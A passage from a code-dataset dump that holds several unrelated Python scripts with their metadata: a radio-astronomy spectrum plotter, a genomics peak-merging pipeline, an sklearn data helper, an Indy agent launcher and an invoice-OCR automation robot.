other\n###############################################\n\n#np.savetxt(\"reshapeddata.csv\",np.transpose(spectrum),delimiter=',') # saved to file reshapeddata.txt with a comma delimiter\n\n############################################\n# plot\n############################################\n\ndef tick_function(x):\n V = (x/1420.4-1.0)*299972#km/s\n return [\"%.1f\" % z for z in V]\n\ndef fitter(x, a, b, c, m, o):#for curve fitting\n return a*np.exp(-(x-b)**2.0/c**2.0)-a*np.exp(-(x-b+0.5)**2.0/c**2.0)+m*x+o\n\nfstart = f.attrs['freq_start'] # get the start frequency\n#print fstart\nfstep = f.attrs['freq_step'] # get the stop frequency\n#print fstep\nflength = 2048 # the number of points on the frequency axis, vector length\nfreq = (np.arange(flength)*fstep + fstart)/10.0**6.0 # make an array of x-axis indices\n#fig, ax1 = plt.subplots( figsize=(13.5,6.7))\nfig, ax1 = plt.subplots( figsize=(11,5))#use w/ twitter api\nax2 = ax1.twiny()\nplt.tight_layout(pad=2.9)#use pad=2.9 if you don't care about 'counts' label, if you eant label pad=3.85\nax1.set_xlabel('frequency [MHz] (w/ cntr=1420.5MHz)')\nax2.set_xlabel('km/s (w/ cntr=1420.5MHz)')\nax1.set_ylabel('Counts')\nnew_tick_locations = np.array([1420.0, 1420.25, 1420.4, 1420.5, 1420.75, 1421.0])\nax2.set_xticks(new_tick_locations)\nax2.set_xticklabels(tick_function(new_tick_locations))\nplt.title(format(sys.argv[1].split('/')[-1]),y=0.93)\nplt.rcParams['axes.formatter.useoffset'] = False\n#print(\"dem freq = {0}\".format(len(freq)))\n#print(\"dem power = {0}\".format(len(10.0*np.log10(spectrum.mean(axis=0)))))\n#print(\"max(power) = {0}\".format(np.max(spectrum.mean(axis=0))))\n#print(\"max(power) = {0}\".format(np.max(10.0*np.log10(spectrum.mean(axis=0)))))\n#plt.plot(freq, 10.0*np.log10(spectrum.mean(axis=0))) # log was taken before putting into the sink\n\n#plt.plot(freq,spectrum.mean(axis=0), freq, spectrum2.mean(axis=0), freq, diff.mean(axis=0))\n\nax1.set_xlim(xmin=1419.5,xmax=1421.5)\nif len(gl) == 1:\n #ax1.set_ylim([-14000,60000])#airspy\n ax1.set_ylim([-15,90])#USRP\n #plt.plot(freq,spectrum.mean(axis=0), label=\"Cntr1420.5MHz\")\n #plt.plot(freq, spectrum2.mean(axis=0),label=\"Cntr1420.2MHz\")\n #plt.plot(freq, diff.mean(axis=0),label=\"1420.5-1420.2\")\n plt.plot(freq,spectrum, label=\"Cntr1420.5MHz\")\n plt.plot(freq, spectrum2,label=\"Cntr1420.2MHz\")\n plt.plot(freq, diff,label=\"1420.5-1420.2\")\n plt.legend(loc=\"upper right\")\n #freqStartIndex = next(i for i, v in enumerate(freq) if v > 1420.15)-900\n #freqEndIndex = next(i for i, v in enumerate(freq) if v > 1420.6)+900\n #plt.plot( freq[freqStartIndex:freqEndIndex],diff.mean(axis=0)[freqStartIndex:freqEndIndex])\n #popt, pcov = curve_fit(fitter, freq[freqStartIndex:freqEndIndex].mean(axis=0), diff[freqStartIndex:freqEndIndex])\n #freqFitX = np.linespace(1420.15,1420.6,1000)\n #plt.plot(freqFitX, fitter(freqFitX, *popt))\nelse:\n plt.plot(10.0*np.log10(spectrum.mean(axis=0)),label=\"Cntr1420.5MHz\")\n# ax1.set_ylim([0,130000])#for airspy\n plt.legend(loc=\"upper right\") \nax1.ticklabel_format(useOffset=False)\n\n#plt.savefig(sys.argv[1].split('h5')[0]+'png', dpi=72)\nplt.savefig(sys.argv[1].split('h5')[0]+'png', dpi=110) #use with twitter api\nif len(sys.argv) == 3:\n plt.show()\n\nwith open(\"{0}csv\".format(sys.argv[1].split('h5')[0]),'w') as csvfile:#writes files to csv \n csvwriter = csv.writer(csvfile, dialect='excel')\n csvfile.write(\"#az=+180, alt=+72, time={0}UTC\\n\".format(sys.argv[1].split('/')[-1].split('_D')[0]))\n #csvwriter.writerows(zip(freq,spectrum.mean(axis=0),spectrum2.mean(axis=0)))\n csvwriter.writerows(zip(freq,spectrum,spectrum2))\n", "sub_path": "misc/plotter.py", "file_name": "plotter.py", "file_ext": "py", "file_size_in_byte": 5398, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.use", "line_number": 2, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 25, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 27, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 81, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 82, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "numpy.log10", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 115, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 116, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 119, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 120, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 121, "usage_type": "attribute"}]} {"seq_id": "192529909", "text": "#!/usr/bin/env python\n\n# SPDX-License-Identifier: MIT\n# Copyright (c) 2016-2020 Michael Purcaro, Henry Pratt, Jill Moore, Zhiping Weng\n\n\n# purcaro@gmail.com\n# modelled after John Stam method at\n# https://bedops.readthedocs.org/en/latest/content/usage-examples/master-list.html\n\nfrom __future__ import print_function\nimport os\nimport sys\nimport ujson as json\nimport argparse\nimport fileinput\nimport StringIO\nimport gzip\nimport random\n\nfrom joblib import Parallel, delayed\n\nsys.path.append(os.path.join(os.path.dirname(__file__), \"../../common\"))\nfrom constants import paths, chroms\nfrom common import printr, printt\nfrom config import Config\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../../metadata/utils/'))\nfrom utils import Utils, numLines, printWroteNumLines\nfrom exp import Exp\n\n\nclass MakeRepDHSs:\n def __init__(self, assembly):\n self.assembly = assembly\n self.d = os.path.join(paths.v4d, \"just21\")\n self.allExps = self._parse()\n self.hostspotFnps = []\n\n self.outputFolder = os.path.join(self.d, 'rDHSs')\n self.allPeaksFnp = os.path.join(self.outputFolder, 'all.bed')\n self.allMergedPeaks = os.path.join(self.outputFolder, 'merged.bed')\n self.masterPeaksFnp = os.path.join(self.outputFolder, 'masterPeaks.bed')\n\n self.fnToPeakNumToPeak = {}\n\n def _parse(self):\n fnp = os.path.join(self.d, \"list.txt\")\n with open(fnp) as f:\n header = f.readline().rstrip('\\n').split('\\t')\n ctToExpIDsRows = [line.rstrip('\\n').split('\\t') for line in f if line]\n allExps = {}\n for ctToExpIDs in ctToExpIDsRows:\n ct = ctToExpIDs[0]\n allExps[ct] = {}\n for idx, expID in enumerate(ctToExpIDs[1:]):\n allExps[ct][header[idx + 1]] = Exp.fromJsonFile(expID) # , True)\n if 0:\n for ct, exps in allExps.iteritems():\n print(ct, exps[\"DNase\"], exps[\"H3K4me3\"], exps[\"H3K27ac\"], exps[\"CTCF\"])\n return allExps\n\n def _getInputFnps(self):\n for ct, exps in self.allExps.iteritems():\n for assay in [\"DNase\"]:\n exp = exps[assay]\n f = exp.getDccUniformProcessedHotspots(\"hg19\")\n if not f:\n #f = exp.bigWigFilters(\"hg19\")\n # if len(f) != 1:\n print(\"missing\", ct, assay, exp.encodeID)\n continue\n # raise Exception(\"could not find\", ct, assay, exp.encodeID)\n f[0].download()\n self.hostspotFnps.append((f[0].fnp(), f[0].fileID))\n\n def run(self):\n self._getInputFnps()\n\n Utils.mkdir_p(self.outputFolder)\n\n self.mergeAndLabelAllPeaks()\n\n self.loadBedData()\n\n with open(self.allMergedPeaks) as inF:\n with open(self.masterPeaksFnp, 'w') as outF:\n self.findMasterPeaks(inF, outF)\n Utils.sortFile(self.masterPeaksFnp)\n\n print(\"round 0: wrote\", self.masterPeaksFnp)\n print(\"round 0: num master peaks:\", numLines(self.masterPeaksFnp))\n\n self.addExtraMasterPeaks()\n\n with open(self.masterPeaksFnp) as f:\n rows = [line.rstrip('\\n').split('\\t') for line in f if line]\n fnp = self.masterPeaksFnp + \".final\"\n with open(fnp, 'w') as f:\n for idx, r in enumerate(rows):\n f.write('\\t'.join([r[0], r[1], r[2], str(idx)]) + '\\n')\n printWroteNumLines(fnp)\n\n print(\"done\")\n\n def loadBedData(self):\n for fnp, fileID in self.hostspotFnps:\n print(fnp)\n\n peakNumToPeak = {}\n lines = [r for r in fileinput.input(fnp, mode=\"r\",\n openhook=fileinput.hook_compressed)]\n for idx, line in enumerate(lines):\n peakNumToPeak[idx] = line.strip().split('\\t')\n self.fnToPeakNumToPeak[fileID] = peakNumToPeak\n\n def getPvalue(self, peak):\n line = self.fnToPeakNumToPeak[peak[1]][peak[2]]\n return float(line[-1])\n\n def findMasterPeaks(self, inF, outF):\n for line in inF:\n # example: [['14.781250', 'ENCFF418CIM.bed', '1'], ['16.609375', 'ENCFF137YGV.bed', '1']...\n peaks = line.strip().split(\"\\t\")[3].split(',')\n peaks = [x.split('-') for x in peaks]\n for peak in peaks:\n peak[0] = float(peak[0]) # signal\n peak[2] = int(peak[2]) # line number\n\n maxPeak = peaks[0]\n for peak in peaks[1:]:\n if peak[0] == maxPeak[0]:\n if self.getPvalue(peak) > self.getPvalue(maxPeak):\n maxPeak = peak\n else:\n if peak[0] > maxPeak[0]:\n maxPeak = peak\n\n line = self.fnToPeakNumToPeak[maxPeak[1]][maxPeak[2]] # fileName x line number\n outF.write('\\t'.join([line[0], line[1], line[2], maxPeak[1], str(maxPeak[0])]) + \"\\n\")\n\n def addExtraMasterPeaks(self):\n for roundNum in xrange(1, 20):\n intersectingPeaksFnp = os.path.join(self.outputFolder,\n \"round_\" + str(roundNum) + \".intersect.bed\")\n cmds = [\"bedtools\", \"intersect\", \"-a\", self.allPeaksFnp, \"-b\", self.masterPeaksFnp, \"-v\",\n '|', 'sort -k1,1 -k2,2n', '>', intersectingPeaksFnp]\n Utils.runCmds(cmds)\n if 0 == numLines(intersectingPeaksFnp):\n print(\"no more extraneous peaks found; exiting\")\n return\n\n mergedPeaksFnp = os.path.join(self.outputFolder,\n \"round_\" + str(roundNum) + \".merge.bed\")\n cmds = ['cat', intersectingPeaksFnp,\n '|', \"bedtools merge -i stdin -c 4 -o collapse\", '>', mergedPeaksFnp]\n Utils.runCmds(cmds)\n\n print(\"round\", roundNum, \"number of non-intersecting peaks\",\n \"{:,}\".format(numLines(mergedPeaksFnp)))\n with open(mergedPeaksFnp) as inF:\n with open(self.masterPeaksFnp, 'a') as outF:\n self.findMasterPeaks(inF, outF)\n Utils.sortFile(self.masterPeaksFnp)\n print(\"\\tround\", roundNum, \"num master peaks:\", numLines(self.masterPeaksFnp))\n print(\"exceeded 20 rounds of adding peaks!\")\n\n def mergeAndLabelAllPeaks(self):\n print(\"combining all peaks into one file; peaks will also be labelled with filename...\")\n\n with open(self.allPeaksFnp, 'w') as outF:\n for fnp, fileID in self.hostspotFnps:\n print(fnp)\n lines = [r for r in fileinput.input(fnp, mode=\"r\",\n openhook=fileinput.hook_compressed)]\n for idx, line in enumerate(lines):\n toks = line.rstrip('\\n').split('\\t')\n outF.write('\\t'.join([toks[0], toks[1], toks[2],\n toks[4] + '-' + fileID + '-' + str(idx)]) + '\\n')\n printWroteNumLines(self.allPeaksFnp)\n Utils.sortFile(self.allPeaksFnp)\n\n print(\"merging....\")\n cmds = [\"cat\", self.allPeaksFnp,\n '|', \"bedtools merge -i stdin -c 4 -o collapse\",\n '>', self.allMergedPeaks]\n Utils.runCmds(cmds)\n printWroteNumLines(self.allMergedPeaks)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--assembly', type=str, default=\"\")\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n\n assemblies = [\"hg19\"] # Config.assemblies\n if args.assembly:\n assemblies = [args.assembly]\n\n for assembly in assemblies:\n print(\"**********\", assembly)\n j = MakeRepDHSs(assembly)\n j.run()\n\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "sub_path": "0_cre_pipeline/just21/masterPeaks.py", "file_name": "masterPeaks.py", "file_ext": "py", "file_size_in_byte": 7901, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "constants.paths.v4d", "line_number": 36, "usage_type": "attribute"}, {"api_name": "constants.paths", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "exp.Exp.fromJsonFile", "line_number": 57, "usage_type": "call"}, {"api_name": "exp.Exp", "line_number": 57, "usage_type": "name"}, {"api_name": "exp.getDccUniformProcessedHotspots", "line_number": 67, "usage_type": "call"}, {"api_name": "exp.encodeID", "line_number": 71, "usage_type": "attribute"}, {"api_name": "utils.Utils.mkdir_p", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 80, "usage_type": "name"}, {"api_name": "utils.Utils.sortFile", "line_number": 89, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 89, "usage_type": "name"}, {"api_name": "utils.numLines", "line_number": 92, "usage_type": "call"}, {"api_name": "utils.printWroteNumLines", "line_number": 102, "usage_type": "call"}, {"api_name": "fileinput.input", "line_number": 111, "usage_type": "call"}, {"api_name": "fileinput.hook_compressed", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "utils.Utils.runCmds", "line_number": 148, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 148, "usage_type": "name"}, {"api_name": "utils.numLines", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "utils.Utils.runCmds", "line_number": 157, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 157, "usage_type": "name"}, {"api_name": "utils.numLines", "line_number": 160, "usage_type": "call"}, {"api_name": "utils.Utils.sortFile", "line_number": 164, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 164, "usage_type": "name"}, {"api_name": "utils.numLines", "line_number": 165, "usage_type": "call"}, {"api_name": "fileinput.input", "line_number": 174, "usage_type": "call"}, {"api_name": "fileinput.hook_compressed", "line_number": 175, "usage_type": "attribute"}, {"api_name": "utils.printWroteNumLines", "line_number": 180, "usage_type": "call"}, {"api_name": "utils.Utils.sortFile", "line_number": 181, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 181, "usage_type": "name"}, {"api_name": "utils.Utils.runCmds", "line_number": 187, "usage_type": "call"}, {"api_name": "utils.Utils", "line_number": 187, "usage_type": "name"}, {"api_name": "utils.printWroteNumLines", "line_number": 188, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 192, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 214, "usage_type": "call"}]} {"seq_id": "247137520", "text": "\"\"\"\nThese classes are for transforming the dictionary feature-value objects from\nthe feature extraction into the right format to ingest into the models\n\"\"\"\nfrom itertools import izip\nfrom sklearn.feature_extraction import DictVectorizer\nimport logging\nlog = logging.getLogger(\"ModalData\")\n\nclass ModelPoint:\n def __init__(self, data, train):\n self.data = data\n self.train = train\n\n def get_features(self):\n return self.data\n d = dict(self.data)\n for key in self.keys:\n if key not in d:\n d[key] = None\n return d\n\n def get_label(self):\n return self.train\n\n\nclass ModelData:\n \"\"\"\n takes dictionary features/labels and normalizes into\n format to plop into sklearn models\n \"\"\"\n def __init__(self, data=[], train=[]):\n \"\"\"\n Args:\n data: a list of features (dictionaries)\n train: a list of labels (strings)\n Returns:\n an fscore object\n \"\"\"\n self.data = data\n self.train = train\n self.npdata = self.munge()\n\n def munge(self):\n dv = DictVectorizer()\n ft = dv.fit_transform(self.data)\n return ft.toarray()\n self.keys = self.feature_keys()\n\n def feature_keys(self):\n keys = set()\n for d in self.data:\n keys.update(d.keys())\n return sorted(keys)\n\n def get_points(self):\n points = []\n log.info(self.npdata)\n for (data, train) in izip(self.npdata, self.train):\n points.append(ModelPoint(data, train))\n return points\n", "sub_path": "src/models/data.py", "file_name": "data.py", "file_ext": "py", "file_size_in_byte": 1425, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.DictVectorizer", "line_number": 45, "usage_type": "call"}, {"api_name": "itertools.izip", "line_number": 59, "usage_type": "call"}]} {"seq_id": "42580457", "text": "import argparse\nimport asyncio\nimport signal\n\nfrom .conductor import Conductor\nfrom .logging import LoggingConfigurator\n\nfrom .version import __version__\n\nparser = argparse.ArgumentParser(description=\"Runs an Indy Agent.\")\n\n# group = parser.add_argument_group(\"transports\")\n\nparser.add_argument(\n \"--transport\",\n dest=\"transports\",\n type=str,\n action=\"append\",\n nargs=3,\n required=True,\n metavar=(\"<type>\", \"<host>\", \"<port>\"),\n help=\"Choose which interface(s) to listen on\",\n)\n\nparser.add_argument(\n \"--logging-config\",\n dest=\"logging_config\",\n type=str,\n metavar=\"<path-to-config>\",\n default=None,\n help=\"Specifies a custom logging configuration file\",\n)\n\n\ndef print_start_banner(transports):\n\n banner_length = 40\n\n banner_title_string = \"Indy Catalyst Agent\"\n banner_title_spacer = \" \" * (banner_length - len(banner_title_string))\n\n banner_border = \":\" * (banner_length + 6)\n banner_spacer = \"::\" + \" \" * (banner_length + 2) + \"::\"\n\n interfaces_subtitle_string = \"Inferfaces:\"\n interfaces_subtitle_spacer = \" \" * (banner_length - len(interfaces_subtitle_string))\n\n transport_strings = []\n for transport in transports:\n host_port_string = (\n f\"{transport['transport']}: {transport['host']}:{transport['port']}\"\n )\n host_port_spacer = \" \" * (banner_length - len(host_port_string))\n transport_strings.append((host_port_string, host_port_spacer))\n\n version_string = f\"ver: {__version__}\"\n version_string_spacer = \" \" * (banner_length - len(version_string))\n\n print()\n print(f\"{banner_border}\")\n print(f\":: {banner_title_string}{banner_title_spacer} ::\")\n print(f\"{banner_spacer}\")\n print(f\"{banner_spacer}\")\n print(f\":: {interfaces_subtitle_string}{interfaces_subtitle_spacer} ::\")\n print(f\"{banner_spacer}\")\n for transport_string in transport_strings:\n print(f\":: {transport_string[0]}{transport_string[1]} ::\")\n print(f\"{banner_spacer}\")\n print(f\":: {version_string_spacer}{version_string} ::\")\n print(f\"{banner_border}\")\n print()\n print(\"Listening...\")\n print()\n\n\nasync def start(parsed_transports):\n conductor = Conductor(parsed_transports)\n await conductor.start()\n\n\ndef main():\n args = parser.parse_args()\n\n parsed_transports = []\n\n transports = args.transports\n for transport in transports:\n transport_type = transport[0]\n host = transport[1]\n port = transport[2]\n parsed_transports.append(\n {\"transport\": transport_type, \"host\": host, \"port\": port}\n )\n\n logging_config = args.logging_config\n LoggingConfigurator.configure(logging_config)\n\n print_start_banner(parsed_transports)\n\n loop = asyncio.get_event_loop()\n loop.run_until_complete(start(parsed_transports))\n\n try:\n loop.run_forever()\n except KeyboardInterrupt:\n print(\"\\nShutting down\")\n\n\nif __name__ == \"__main__\":\n main() # pragma: no cover\n", "sub_path": "agent/indy_catalyst_agent/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2972, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "version.__version__", "line_number": 56, "usage_type": "name"}, {"api_name": "conductor.Conductor", "line_number": 77, "usage_type": "call"}, {"api_name": "conductor.start", "line_number": 78, "usage_type": "call"}, {"api_name": "logging.LoggingConfigurator.configure", "line_number": 96, "usage_type": "call"}, {"api_name": "logging.LoggingConfigurator", "line_number": 96, "usage_type": "name"}, {"api_name": "asyncio.get_event_loop", "line_number": 100, "usage_type": "call"}]} {"seq_id": "560546956", "text": "# +\n\"\"\"Template robot with Python.\"\"\"\nfrom RPA.Browser.Selenium import Selenium\nfrom selenium.webdriver import Firefox\nfrom selenium.webdriver.common.by import By\nfrom RPA.FileSystem import FileSystem\nfrom PIL import Image\nimport pytesseract\nimport urllib.request\nimport re\nimport os, shutil\n\ndriver = Selenium()\nlib = FileSystem()\nlistOfRows = []\nlistOfCompAbbreviation = [\"ASSOC\", \"BROS\", \"CIE\", \"CORP\", \"CO\", \"INC\",\n \"LTD\", \"MFG\", \"MFRS\", \"JSC\", \"LLC\"]\ndate_regex = r\"(?:[0-9]{4}\\/*[0-9]{2}\\/*[0-9]{2})|(?:[0-9]{4}-*[0-9]{2}-*[0-9]{2})|(?:[A-Za-z]{3}.[0-9]{1,2}.*[0-9]{4})|(?:[0-9]{2}.*[A-Za-z]{3}.*[0-9]{4}$)\"\nmain_page_url = \"http://rpachallengeocr.azurewebsites.net\"\n\ndriver.open_available_browser(main_page_url)\n\n\n# -\n\ndef initial_check():\n if lib.does_directory_exist('./temp') is False:\n lib.create_directory('./temp', exist_ok=True)\n if lib.does_directory_exist('./output') is False:\n lib.create_directory('./output', exist_ok=True)\n if driver.is_element_visible(\"class:next\") is False:\n driver.go_to(main_page_url)\n\n\ndef get_invoice_list():\n next_button = driver.get_webelement(\"class:next\")\n table_row = driver.find_elements('xpath://*[@id=\"tableSandbox\"]/tbody/tr')\n for index in range(1, len(table_row) + 1, 1):\n row_data = driver.find_elements(f'xpath://*[@id=\"tableSandbox\"]/tbody/tr[{index}]/td')\n data_dict = {\n \"ID\": row_data[1].text,\n \"DueDate\": row_data[2].text,\n \"Invoice\": row_data[3].find_element(By.TAG_NAME, 'a')\n .get_attribute('href')\n }\n listOfRows.append(data_dict)\n if 'disabled' not in next_button.get_attribute('class'):\n next_button.click()\n get_invoice_list()\n\n\ndef data_to_csv():\n header = \"ID,DueDate,InvoiceNumber,InvoiceDate,CompanyName,Total\\n\"\n lib.create_file(\"output/invoices\", content=None, encoding='utf-8', overwrite=True)\n lib.append_to_file(\"output/invoices\", header, encoding='utf-8')\n for row in listOfRows:\n ID, DueDate, InvoiceNumber = row[\"ID\"], row[\"DueDate\"], row[\"Invoice\"][\"InvoiceNumber\"]\n InvoiceDate, CompanyName, Total = row[\"Invoice\"][\"InvoiceDate\"], row[\"Invoice\"][\"CompanyName\"], row[\"Invoice\"][\"Total\"]\n textToWrite = \"\\\"{}\\\",\\\"{}\\\",\\\"{}\\\",\\\"{}\\\",\\\"{}\\\",\\\"{}\\\"\\n\".format(ID,DueDate,InvoiceNumber,InvoiceDate,CompanyName,Total)\n lib.append_to_file(\"output/invoices\", textToWrite, encoding='utf-8')\n if lib.does_file_exist(\"output/invoices.csv\") is True:\n lib.remove_file(\"output/invoices.csv\", missing_ok=True)\n lib.change_file_extension(\"output/invoices\", '.csv')\n\n\ndef extract_data_from_invoice_images():\n for row in listOfRows:\n driver.go_to(row[\"Invoice\"])\n # Download the image from the site\n src = driver.find_element('tag:img').get_attribute('src')\n urllib.request.urlretrieve(src, f'./temp/{listOfRows[0][\"ID\"]}.png')\n invoice = Image.open(f'./temp/{listOfRows[0][\"ID\"]}.png')\n # Use tesseract-ocr lib to extract text from the image\n # Format extracted string to a List and Clean it up\n extracted_str = (pytesseract.image_to_string(invoice)).strip().splitlines()\n extracted_str = [line for line in extracted_str if line.strip() != '']\n # Replace the Invoice with extracted data in a Dictationary\n row[\"Invoice\"] = grab_relevant_data(extracted_str)\n print(\"Finished extracting data\")\n driver.go_to(main_page_url)\n\n\ndef grab_relevant_data(extracted_str):\n comp_name, invoice_num, invoice_date, total_due = None, None, None, None\n for line in extracted_str:\n if invoice_num is None and line.find(\"#\") != -1:\n temp = line.replace(\" \", \"\")\n regex_search = (re.search(r\"#\", temp)).span()\n invoice_num = temp[regex_search[0]:]\n if comp_name is None:\n for abbrev in listOfCompAbbreviation:\n potential_str = line.upper()\n regex_search = re.search((r\"({})\\.*\".format(abbrev)), potential_str)\n if regex_search is not None and comp_name is None:\n comp_name = potential_str[:regex_search.span()[1]]\n if (line.upper()).find(\"TOTAL\") != -1:\n regex_search = re.search(r\"(Total|TOTAL|total)*\\s?\\$?[0-9]*\", line)\n if regex_search is not None:\n temp = line.split(\" \")\n if temp[1].find(\"$\") != -1:\n total_due = temp[1].replace(\"$\", \"\")\n total_due = total_due.replace(\",\", \"\")\n else:\n total_due = temp[1].replace(\",\",\"\")\n if invoice_date is None and re.search(date_regex, line) is not None:\n search_result = re.search(date_regex, line)\n invoice_date = line[search_result.span()[0]:]\n return {\"InvoiceNumber\":invoice_num, \"CompanyName\":comp_name, \"Total\":total_due, \"InvoiceDate\":invoice_date}\n\n\ndef clean_temp():\n folder = './temp'\n for filename in os.listdir(folder):\n file_path = os.path.join(folder, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as e:\n print('Failed to delete %s. Reason: %s' % (file_path, e))\n\n\nif __name__ == \"__main__\":\n initial_check()\n get_invoice_list()\n extract_data_from_invoice_images()\n data_to_csv()\n clean_temp()\n", "sub_path": "task.py", "file_name": "task.py", "file_ext": "py", "file_size_in_byte": 5593, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "RPA.Browser.Selenium.Selenium", "line_number": 13, "usage_type": "call"}, {"api_name": "RPA.FileSystem.FileSystem", "line_number": 14, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 43, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 43, "usage_type": "name"}, {"api_name": "urllib.request.request.urlretrieve", "line_number": 71, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 71, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 71, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 72, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 72, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 75, "usage_type": "call"}, {"api_name": "re.search", "line_number": 88, "usage_type": "call"}, {"api_name": "re.search", "line_number": 93, "usage_type": "call"}, {"api_name": "re.search", "line_number": 97, "usage_type": "call"}, {"api_name": "re.search", "line_number": 105, "usage_type": "call"}, {"api_name": "re.search", "line_number": 106, "usage_type": "call"}, 